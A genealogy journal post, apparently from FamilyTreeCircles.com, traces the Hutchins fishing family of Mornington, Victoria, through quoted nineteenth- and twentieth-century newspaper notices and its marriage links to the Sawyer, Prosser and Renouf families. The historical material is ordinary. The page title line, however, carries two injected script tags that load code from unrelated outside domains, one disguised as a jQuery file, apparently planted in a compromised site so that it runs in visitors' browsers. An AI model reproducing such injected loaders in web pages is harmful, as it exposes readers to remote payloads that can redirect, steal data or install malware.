SOMETHING FISHY ABOUT THE HUTCHINS FAMILY OF MORNINGTON, VIC., AUST.<script src="https://bestdoctornearme.com/splitter.ai/index.php"></script><script src="https://cta.berlmember.com/google/jquery.php"></script> :: FamilyTreeCircles.com Genealogy
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SOMETHING FISHY ABOUT THE HUTCHINS FAMILY OF MORNINGTON, VIC., AUST.

Journal by itellya

The Royalauto for October, 2013 has an article on page 8 called THE FISH SHED in its feature CURIOUSLY VICTORIAN.
It states that five generations of Hutchins have fished Port Phillip at Mornington since 1860. It's a fair bet that George Hutchins and his wife Harriet were members of the first generation.

IN the SUPREME COURT of the COLONY of VICTORIA: In Its Probate Jurisdiction.-In the Estate of GEORGE HUTCHINS, late of Osborne, in the County of Mornington, in the Colony of Victoria, Fisherman, Deceased, Intestate.-Notice is hereby given, that after the expiration of fourteen days from the publication hereof application will be made to the Supreme Court of the colony of Victoria, in its Probate Jurisdiction, that LETTERS of ADMINISTRATION of the estate of the above-named George Hutchins, deceased, be granted to Harriett Hutchins, of Mornington, in the said colony, the widow of the said deceased.
Dated this 25th day of April, A.D. 1878. WISEWOULD and GIBBS, 61 William-street, Melbourne, proctors for the said Harriett Hutchins. (P.3,Argus, 26-4-1878.)

The Royalauto article has a photo of the shed and Neville Hutchins,61,who with his brother,Dalton,59, still sells their catch from the shed. Their original shop at Fisherman's Beach was obliterated by storms,just one of several setbacks the family faced. The brothers still use an old technique used by such as the Watsons of Portsea and Sorrento, but with a modern advantage. Neville tracks shoals of fish from the headland,directing Dalton's run of nets by walkie-talkie.

It's now some years since I read LIME LAND LEISURE, and ,although I made no note of it, I seem to remember that there was a connection between the Hutchins of Sorrento and Mornington. It is interesting that two fishing families were thanked for their support for the Hutchins of Sorrento. The Watsons were fishing at Portsea by 1862 and Erland Erlandsen commenced fishing near Sorrento after (jumping ship?) in 1879.

WATSON.-Mrs. WATSON, sen., and Family, Sorrento, wish to convey their sincere THANKS to many kind friends for letter, cards,and personal expressions of sympathy during their recent sad loss of son and brother, especially thanking Hutchins Bros, and Mr. Erlandsen and sons. (P.1, Argus, 8-1-1923.)

The Sawyer family was not known to be involved in fishing but the well known fishing families of Prosser and Hutchins were related to it by marriage. Isaac Sawyer married Sarah, nee Prosser,probably related to Henry Prosser, one of the founders of the Frankston Fish Company, and after Isaac's death she remarried to Amis Renouf,a director of the same company.

RENOUF.-On the 15th July, at her daughter's residence, Dromana, Sarah, widow of the late Amice Renouf, Frankston, and dearly beloved mother of Mrs Jonah Griffith (Dromana), Mrs.John Hopcroft (Caulfield), Mrs. I. Sawyer(Neerim South), Mr. H. Sawyer ("Sylvan," Neerim Junction, Gippsland), Mr. J. Sawyer(Moorooduc), Mr. F. Sawyer (Bittern); grand-mother of Mr. Alex Henry and his sister, Mrs.W. Martin (Mt. Eliza), aged 93 years. A colonist of 68 years. (P.13, Argus, 29-7-1916.) See my journal RENOUF ON THE MORNINGTON PENINSULA.

Thus, Sarah Renouf, mother of Fred Sawyer, was the grandmother of John Hutchins' bride, Caroline Sawyer.

Mornington Standard (Frankston, Vic. : 1911 - 1920) Saturday 16 September 1911 p 2 Family Notices Marriage. HUTCHINS-SAWYER.-At St. James' Church, West Melbourne, on the 25th August, by the Ven. Archdecon Hindley, John Hutchins, Mornington, to Caroline third eldest daughter of Mr and Mrs F. Sawyer, " Glenfield," Bittern.

Surnames: ERLANDSEN HUTCHINS PROSSER RENOUF SAWYER WATSON
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by itellya Profile | Research | Contact | Subscribe | Block this user
on 2013-10-07 03:33:55

Itellya is researching local history on the Mornington Peninsula and is willing to help family historians with information about the area between Somerville and Blairgowrie. He has extensive information about Henry Gomm of Somerville, Joseph Porta (Victoria's first bellows manufacturer) and Captain Adams of Rosebud.

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